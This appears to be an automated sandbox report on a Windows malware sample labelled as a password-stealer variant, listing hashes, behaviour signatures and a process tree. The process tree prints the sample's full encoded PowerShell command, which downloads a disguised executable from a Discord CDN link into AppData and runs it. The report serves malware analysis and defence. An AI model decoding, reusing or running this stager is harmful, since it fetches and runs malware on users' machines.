Analysis

  • max time kernel
    164s
  • max time network
    192s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/12/2022, 09:36

General

  • Target

    SecuriteInfo.com.Win32.PWSX-gen.20328.23207.exe

  • Size

    7KB

  • MD5

    58bc4287f86224a260e71811f7cf43e3

  • SHA1

    28df4da8b40c5404ae3e283bcd7559ca7ab944f9

  • SHA256

    8459beda7a3d1091523b5bcd0c41eba53644156b52005013a98abd18a2042680

  • SHA512

    c2c203c64e0e45e1c1ec436a844b041c5fd15a310f7e406d2f5069f237a64ef3f35bd69834f6aa5b9b739399257eea74452aae503742519314fd2e64cb403846

  • SSDEEP

    96:+r/79GhL1bhycOqNYfxNYuXZ8k/hwssjD1TIoDiWpTPWw3d3ojE5rl:+P9GhL1bhycm5NYup8k/hwf0WpbWedd

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.PWSX-gen.20328.23207.exe
    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.PWSX-gen.20328.23207.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4436
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHkAbgBlACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADcAMAA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAGQAbgAuAGQAaQBzAGMAbwByAGQAYQBwAHAALgBjAG8AbQAvAGEAdAB0AGEAYwBoAG0AZQBuAHQAcwAvADEAMAA0ADkANAAxADAAMgAxADcANAAyADAANQAzADMAOAAyADAALwAxADAANAA5ADQAMQA3ADYANwA3ADYAOQA0ADgAMwA2ADgAMgA3AC8ARABlAGYAZQBuAGQAZQByAFMAYwByAGUAZQBlAG4ALgBlAHgAZQAnACwAIAA8ACMAZwBqAHgAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB0AGMAeAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBmAHIAdwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBMAEsAUwBKAEQAUwBBAEsARABRAC4AZQB4AGUAJwApACkAPAAjAGwAZwB3ACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGMAcABhACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBkAGIAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBMAEsAUwBKAEQAUwBBAEsARABRAC4AZQB4AGUAJwApADwAIwBwAGsAaQAjAD4A"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5080

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/4436-132-0x0000000000B30000-0x0000000000B38000-memory.dmp

    Filesize

    32KB

  • memory/4436-135-0x00007FFC66430000-0x00007FFC66EF1000-memory.dmp

    Filesize

    10.8MB

  • memory/4436-137-0x00007FFC66430000-0x00007FFC66EF1000-memory.dmp

    Filesize

    10.8MB

  • memory/5080-134-0x0000018B83830000-0x0000018B83852000-memory.dmp

    Filesize

    136KB

  • memory/5080-136-0x00007FFC66430000-0x00007FFC66EF1000-memory.dmp

    Filesize

    10.8MB

  • memory/5080-138-0x00007FFC66430000-0x00007FFC66EF1000-memory.dmp

    Filesize

    10.8MB